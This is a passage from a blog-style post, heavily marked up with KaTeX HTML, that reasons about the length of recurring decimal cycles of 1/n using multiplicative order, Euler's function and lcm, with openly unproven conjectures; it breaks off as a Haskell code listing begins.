class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>. This means <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span> must be a multiple of both <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span> and <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7167em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>. Therefore, <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord text"><span class="mord">lcm</span></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span>.</p><p>This leads to another question, how to quickly calculate the order of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span>? We only know the order must be a factor of <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>.</p><h3 id="When-the-Denominator-and-10-are-Not-Coprime">When the Denominator and 10 are Not Coprime</h3><p>When 10 and n are not coprime, n’s factors include 2 or 5, let <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6644em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span>, m is coprime with 10, a,b are natural numbers and not all 0. In this case,</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>When k is large enough, it must be 0. We only need to prove that <strong>multiplying a finite decimal by an infinite recurring decimal does not change the length of the recurring cycle</strong>. This needs proof, but I don’t know how.</p><p>That is, we don’t need to consider the factors of 2 or 5, just extract the factors that are coprime with 10. (I still don’t know how to prove this).</p><h3 id="Algorithm">Algorithm</h3><p>First, remove 2 and 5 completely, the value must be a combination structure like <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span> (some exponents can be 0), at this time <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span> is less than <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span></span></span></span>, then calculate the least common multiple, definitely less than <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">q</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">b</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>. That is to say, for the prime p, its order is necessarily greater than the order of any number smaller than it. So just find the largest prime <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> within 1000, and compare it with the number that has been removed up to 1000 and is larger than <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>.</p><p>This involves the question, <strong>between two adjacent primes p, q, is it possible for a number divided by 2 to be larger than p?</strong> This is actually equivalent to whether there exists <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span> such that <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">q</span></span></span></span>. I don’t know, but it’s impossible within 1000.</p><p>So, <strong>between two adjacent primes p,q, is there <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0126em;vertical-align:-0.2663em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span> not a multiple of 2 or 5, not a prime, but the order of 10^k mod x is larger than the order of 10^k mod p?</strong> That is,</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0163em;vertical-align:-0.2663em;"></span><span class="mord"><span class="mord mathrm">gcd</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>Could it be larger than <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>?</p><p>This number must be less than the product of these Euler’s functions</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0163em;vertical-align:-0.2663em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7463em;"><span style="top:-2.4337em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span><span style="top:-3.1449em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2663em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>And <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">φ</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal">x</span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>. Moreover, except</p><p>for the prime number 2, p-1 is necessarily an even number, so there must be a common factor of 2, back to the previous question, at least within 1000 it is impossible. After dividing by 2, it must be smaller than <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>.</p><p>Therefore, the number with the longest cycle must be a prime number. If it can be proved:</p><ol><li><strong>Between two adjacent prime numbers p, q, any number divided by 2 is definitely smaller than p</strong>.</li><li><strong>Multiplying a finite decimal by an infinite recurring decimal does not change the length of the recurring cycle</strong>.</li></ol><p>It seems that there are related theorems that can prove the second point, and also obtain the length of the non-recurring part.</p><h2 id="Conventional-Intuitive-Approach">Conventional Intuitive Approach</h2><p>A recurring decimal must be infinite, and the digits in the recurring cycle may repeat. Based on coding experience, without reading to the last digit, it is impossible to know whether this string of digits is a recurring cycle. Therefore, a maximum possible recurring cycle length must be set.</p><p>Secondly, even if it is a recurring cycle, it may not be the shortest recurring cycle; it could be a multiple of the shortest recurring cycle. For example, the cycle of 001 also satisfies the cycle of 001001. So when a cycle is found, its factor length cannot be the cycle length.</p><p>The recurring part, choosing the length of the recurring cycle from anywhere, its period does not change. Like the 001 cycle, in fact, only looking at the latter part can also be considered as a 010 cycle.</p><p>So, as long as you skip enough decimal places, it will definitely be the recurring part, and the period remains the same. Just look for two segments that match up according to the period length.</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- Generates the decimal representation of 1/deno after the decimal point.</span></span><br><span class="line"><span 